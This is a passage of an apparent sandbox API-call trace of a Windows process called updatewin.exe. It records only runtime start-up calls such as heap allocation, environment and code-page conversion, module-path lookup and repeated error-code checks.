cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xffffffff, hStdOutput=0xffffffff, hStdError=0xffffffff)) [0060.164] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x8, Size=0x800) returned 0x1e109f0 [0060.165] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0 [0060.165] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0 [0060.165] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0 [0060.165] SetHandleCount (uNumber=0x20) returned 0x20 [0060.165] GetCommandLineA () returned="\"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin.exe\" " [0060.165] GetEnvironmentStringsW () returned 0x244e60* [0060.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1381 [0060.165] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x0, Size=0x565) returned 0x1e111f8 [0060.165] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ALLUSERSPROFILE=C:\\ProgramData", cchWideChar=1381, lpMultiByteStr=0x1e111f8, cbMultiByte=1381, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ALLUSERSPROFILE=C:\\ProgramData", lpUsedDefaultChar=0x0) returned 1381 [0060.165] FreeEnvironmentStringsW (penv=0x244e60) returned 1 [0060.165] GetLastError () returned 0x0 [0060.165] SetLastError (dwErrCode=0x0) [0060.165] GetLastError () returned 0x0 [0060.165] SetLastError (dwErrCode=0x0) [0060.165] GetLastError () returned 0x0 [0060.165] SetLastError (dwErrCode=0x0) [0060.165] GetACP () returned 0x4e4 [0060.165] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x0, Size=0x220) returned 0x1e11768 [0060.165] GetLastError () returned 0x0 [0060.166] SetLastError (dwErrCode=0x0) [0060.166] IsValidCodePage (CodePage=0x4e4) returned 1 [0060.166] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18fe84 | out: lpCPInfo=0x18fe84) returned 1 [0060.166] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x18f950 | out: lpCPInfo=0x18f950) returned 1 [0060.166] GetLastError () returned 0x0 [0060.166] SetLastError (dwErrCode=0x0) [0060.166] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=1, lpCharType=0x18f8e0 | out: lpCharType=0x18f8e0) returned 1 [0060.166] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0060.166] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6c8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0060.166] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchSrc=256, lpCharType=0x18f964 | out: lpCharType=0x18f964) returned 1 [0060.166] GetLastError () returned 0x0 [0060.166] SetLastError (dwErrCode=0x0) [0060.166] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr="", cchSrc=1, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 1 [0060.166] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0060.166] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f698, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿز蕺㞥AĀ") returned 256 [0060.166] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿز蕺㞥AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0060.166] LCMapStringW (in: Locale=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿز蕺㞥AĀ", cchSrc=256, lpDestStr=0x18f488, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ") returned 256 [0060.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿĀ", cchWideChar=256, lpMultiByteStr=0x18fc64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÿ^\x8b…\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0060.166] GetLastError () returned 0x0 [0060.166] SetLastError (dwErrCode=0x0) [0060.166] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0060.166] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x18fd64, cbMultiByte=256, lpWideCharStr=0x18f6b8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿز蕺㞥AĀ") returned 256 [0060.166] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿز蕺㞥AĀ", cchSrc=256, lpDestStr=0x0, cchDest=0 | out: lpDestStr=0x0) returned 256 [0060.166] LCMapStringW (in: Locale=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿز蕺㞥AĀ", cchSrc=256, lpDestStr=0x18f4a8, cchDest=256 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ") returned 256 [0060.166] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸĀ", cchWideChar=256, lpMultiByteStr=0x18fb64, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿÿ^\x8b…\x9cþ\x18", lpUsedDefaultChar=0x0) returned 256 [0060.166] GetModuleFileNameA (in: hModule=0x0, lpFilename=0x43b480, nSize=0x104 | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\2d5ee28a-f782-4cc1-aa85-b49f8f019ddd\\updatewin.exe")) returned 0x5e [0060.167] GetLastError () returned 0x0 [0060.167] SetLastError (dwErrCode=0x0) [0060.167] GetLastError () returned 0x0 [0060.167] SetLastError (dwErrCode=0x0) [0060.167] GetLastError () returned 0x0 [0060.167] SetLastError (dwErrCode=0x0) [0060.167] GetLastError () returned 0x0 [0060.167] SetLastError (dwErrCode=0x0) [0060.167] GetLastError () returned 0x0 [0060.167] SetLastError (dwErrCode=0x0) [0060.167] GetLastError () returned 0x0 [0060.167] SetLastError (dwErrCode=0x0) [0060.167] GetLastError () returned 0x0 [0060.167] SetLastError (dwErrCode=0x0) [0060.167] GetLastError () returned 0x0 [0060.167] SetLastError (dwErrCode=0x0) [0060.167] GetLastError () returned 0x0 [0060.167] SetLastError (dwErrCode=0x0) [0060.167] GetLastError () returned 0x0 [0060.167] SetLastError (dwErrCode=0x0) [0060.167] GetLastError () returned 0x0 [0060.167] SetLastError (dwErrCode=0x0) [0060.167] GetLastError () returned 0x0 [0060.167] SetLastError (dwErrCode=0x0) [0060.167] GetLastError () returned 0x0 [0060.168] SetLastError (dwErrCode=0x0) [0060.168] GetLastError () returned 0x0 [0060.168] SetLastError (dwErrCode=0x0) [0060.168] GetLastError () returned 0x0 [0060.168] SetLastError (dwErrCode=0x0) [0060.168] GetLastError () returned 0x0 [0060.168] SetLastError (dwErrCode=0x0) [0060.168] GetLastError () returned 0x0 [0060.168] SetLastError (dwErrCode=0x0) [0060.168] GetLastError () returned 0x0 [0060.168] SetLastError (dwErrCode=0x0) [0060.168] GetLastError () returned 0x0 [0060.168] SetLastError (dwErrCode=0x0) [0060.168] GetLastError () returned 0x0 [0060.168] SetLastError (dwErrCode=0x0) [0060.168] GetLastError () returned 0x0 [0060.168] SetLastError (dwErrCode=0x0) [0060.168] GetLastError () returned 0x0 [0060.168] SetLastError (dwErrCode=0x0) [0060.168] GetLastError () returned 0x0 [0060.168] SetLastError (dwErrCode=0x0) [0060.168] GetLastError () returned 0x0 [0060.168] SetLastError (dwErrCode=0x0) [0060.168] GetLastError () returned 0x0 [0060.169] SetLastError (dwErrCode=0x0) [0060.169] GetLastError () returned 0x0 [0060.169] SetLastError (dwErrCode=0x0) [0060.169] GetLastError () returned 0x0 [0060.169] SetLastError (dwErrCode=0x0) [0060.169] GetLastError () returned 0x0 [0060.169] SetLastError (dwErrCode=0x0) [0060.169] GetLastError () returned 0x0 [0060.169] SetLastError (dwErrCode=0x0) [0060.169] GetLastError () returned 0x0 [0060.169] SetLastError (dwErrCode=0x0) [0060.169] GetLastError () returned 0x0 [0060.169] SetLastError (dwErrCode=0x0) [0060.169] GetLastError () returned 0x0 [0060.169] SetLastError (dwErrCode=0x0) [0060.169] GetLastError () returned 0x0 [0060.169] SetLastError (dwErrCode=0x0) [0060.169] GetLastError () returned 0x0 [0060.169] SetLastError (dwErrCode=0x0) [0060.169] GetLastError () returned 0x0 [0060.169] SetLastError (dwErrCode=0x0) [0060.169] GetLastError () returned 0x0 [0060.169] SetLastError (dwErrCode=0x0) [0060.169] GetLastError () returned 0x0 [0060.170] SetLastError (dwErrCode=0x0) [0060.170] GetLastError () returned 0x0 [0060.170] SetLastError (dwErrCode=0x0) [0060.170] GetLastError () returned 0x0 [0060.170] SetLastError (dwErrCode=0x0) [0060.170] GetLastError () returned 0x0 [0060.170] SetLastError (dwErrCode=0x0) [0060.170] GetLastError () returned 0x0 [0060.170] SetLastError (dwErrCode=0x0) [0060.170] GetLastError () returned 0x0 [0060.170] SetLastError (dwErrCode=0x0) [0060.170] GetLastError () returned 0x0 [0060.170] SetLastError (dwErrCode=0x0) [0060.170] GetLastError () returned 0x0 [0060.170] SetLastError (dwErrCode=0x0) [0060.170] GetLastError () returned 0x0 [0060.170] SetLastError (dwErrCode=0x0) [0060.170] GetLastError () returned 0x0 [0060.170] SetLastError (dwErrCode=0x0) [0060.170] GetLastError () returned 0x0 [0060.170] SetLastError (dwErrCode=0x0) [0060.170] GetLastError () returned 0x0 [0060.170] SetLastError (dwErrCode=0x0) [0060.170] GetLastError () returned 0x0 [0060.170] SetLastError (dwErrCode=0x0) [0060.171] GetLastError () returned 0x0 [0060.171] SetLastError (dwErrCode=0x0) [0060.171] GetLastError () returned 0x0 [0060.171] SetLastError (dwErrCode=0x0) [0060.171] GetLastError () returned 0x0 [0060.171] SetLastError (dwErrCode=0x0) [0060.171] GetLastError () returned 0x0 [0060.171] SetLastError (dwErrCode=0x0) [0060.171] GetLastError () returned 0x0 [0060.171] SetLastError (dwErrCode=0x0) [0060.171] GetLastError () returned 0x0 [0060.171] SetLastError (dwErrCode=0x0) [0060.171] GetLastError () returned 0x0 [0060.171] SetLastError (dwErrCode=0x0) [0060.171] GetLastError () returned 0x0 [0060.171] SetLastError (dwErrCode=0x0) [0060.171] GetLastError () returned 0x0 [0060.171] SetLastError (dwErrCode=0x0) [0060.171] GetLastError () returned 0x0 [0060.171] SetLastError (dwErrCode=0x0) [0060.171] GetLastError () returned 0x0 [0060.171] SetLastError (dwErrCode=0x0) [0060.171] GetLastError () returned 0x0 [0060.171] SetLastError (dwErrCode=0x0) [0060.171] GetLastError () returned 0x0 [0060.172] SetLastError (dwErrCode=0x0) [0060.172] GetLastError () returned 0x0 [0060.172] SetLastError (dwErrCode=0x0) [0060.172] GetLastError () returned 0x0 [0060.172] SetLastError (dwErrCode=0x0) [0060.172] GetLastError () returned 0x0 [0060.172] SetLastError (dwErrCode=0x0) [0060.172] GetLastError () returned 0x0 [0060.172] SetLastError (dwErrCode=0x0) [0060.172] GetLastError () returned 0x0 [0060.172] SetLastError (dwErrCode=0x0) [0060.172] GetLastError () returned 0x0 [0060.172] SetLastError (dwErrCode=0x0) [0060.172] GetLastError () returned 0x0 [0060.172] SetLastError (dwErrCode=0x0) [0060.172] GetLastError () returned 0x0 [0060.172] SetLastError (dwErrCode=0x0) [0060.172] GetLastError () returned 0x0 [0060.172] SetLastError (dwErrCode=0x0) [0060.172] GetLastError () returned 0x0 [0060.172] SetLastError (dwErrCode=0x0) [0060.172] GetLastError () returned 0x0 [0060.172] SetLastError (dwErrCode=0x0) [0060.172] GetLastError () returned 0x0 [0060.172] SetLastError (dwErrCode=0x0) [0060.172] GetLastError () returned 0x0 [0060.173] SetLastError (dwErrCode=0x0) [0060.173] GetLastError () returned 0x0 [0060.173] SetLastError (dwErrCode=0x0) [0060.173] GetLastError () returned 0x0 [0060.173] SetLastError (dwErrCode=0x0) [0060.173] GetLastError () returned 0x0 [0060.173] SetLastError (dwErrCode=0x0) [0060.173] GetLastError () returned 0x0 [0060.173] SetLastError (dwErrCode=0x0) [0060.173] GetLastError () returned 0x0 [0060.173] SetLastError (dwErrCode=0x0) [0060.173] GetLastError () returned 0x0 [0060.173] SetLastError (dwErrCode=0x0) [0060.173] GetLastError () returned 0x0 [0060.173] SetLastError (dwErrCode=0x0) [0060.173] GetLastError () returned 0x0 [0060.173] SetLastError (dwErrCode=0x0) [0060.173] GetLastError () returned 0x0 [0060.173] SetLastError (dwErrCode=0x0) [0060.173] GetLastError () returned 0x0 [0060.173] SetLastError (dwErrCode=0x0) [0060.173] GetLastError () returned 0x0 [0060.173] SetLastError (dwErrCode=0x0) [0060.173] GetLastError () returned 0x0 [0060.174] SetLastError (dwErrCode=0x0) [0060.174] GetLastError () returned 0x0 [0060.174] SetLastError (dwErrCode=0x0) [0060.174] GetLastError () returned 0x0 [0060.174] SetLastError (dwErrCode=0x0) [0060.174] GetLastError () returned 0x0 [0060.174] SetLastError (dwErrCode=0x0) [0060.174] GetLastError () returned 0x0 [0060.174] SetLastError (dwErrCode=0x0) [0060.174] GetLastError () returned 0x0 [0060.174] SetLastError (dwErrCode=0x0) [0060.174] GetLastError () returned 0x0 [0060.174] SetLastError (dwErrCode=0x0) [0060.174] GetLastError () returned 0x0 [0060.174] SetLastError (dwErrCode=0x0) [0060.174] GetLastError () returned 0x0 [0060.174] SetLastError (dwErrCode=0x0) [0060.174] RtlAllocateHeap (HeapHandle=0x1e10000, Flags=0x0, Size=0x67) returned 0x1e11990 [0060.174] GetLastError () returned 0x0 [0060.174] SetLastError (dwErrCode=0x0) [0060.174] GetLastError () returned 0x0 [0060.174] SetLastError (dwErrCode=0x0) [0060.174] GetLastError () returned 0x0 [0060.174] SetLastError (dwErrCode=0x0) [0060.174] GetLastError () returned 0x0 [0060.175] SetLastError (dwErrCode=0x0) [0060.175] GetLastError () returned 0x0 [0060.175] SetLastError (dwErrCode=0x0) [0060.175] GetLastError () returned 0x0 [0060.175] SetLastError (dwErrCode=0x0) [0060.175] GetLastError () returned 0x0 [0060.175] SetLastError (dwErrCode=0x0) [0060.175] GetLastError () returned 0x0 [0060.175] SetLastError (dwErrCode=0x0) [0060.175] GetLastError () returned 0x0 [0060.175] SetLastError (dwErrCode=0x0) [0060.175] GetLastError () returned 0x0 [0060.175] SetLastError (dwErrCode=0x0) [0060.175] GetLastError () returned 0x0 [0060.175] SetLastError (dwErrCode=0x0) [0060.175] GetLastError () returned 0x0 [0060.175] SetLastError (dwErrCode=0x0) [0060.175] GetLastError () returned 0x0 [0060.175] SetLastError (dwErrCode=0x0) [0060.175] GetLastError () returned 0x0 [0060.175] SetLastError (dwErrCode=0x0) [0060.175] GetLastError () returned 0x0 [0060.175] SetLastError (dwErrCode=0x0) [0060.175] GetLastError () returned 0x0 [0060.176] SetLastError (dwErrCode=0x0) [0060.176] GetLastError () returned 0x0 [0060.176] SetLastError (dwErrCode=0x0) [0060.176] GetLastError () returned 0x0 [0060.176] SetLastError (dwErrCode=0x0) 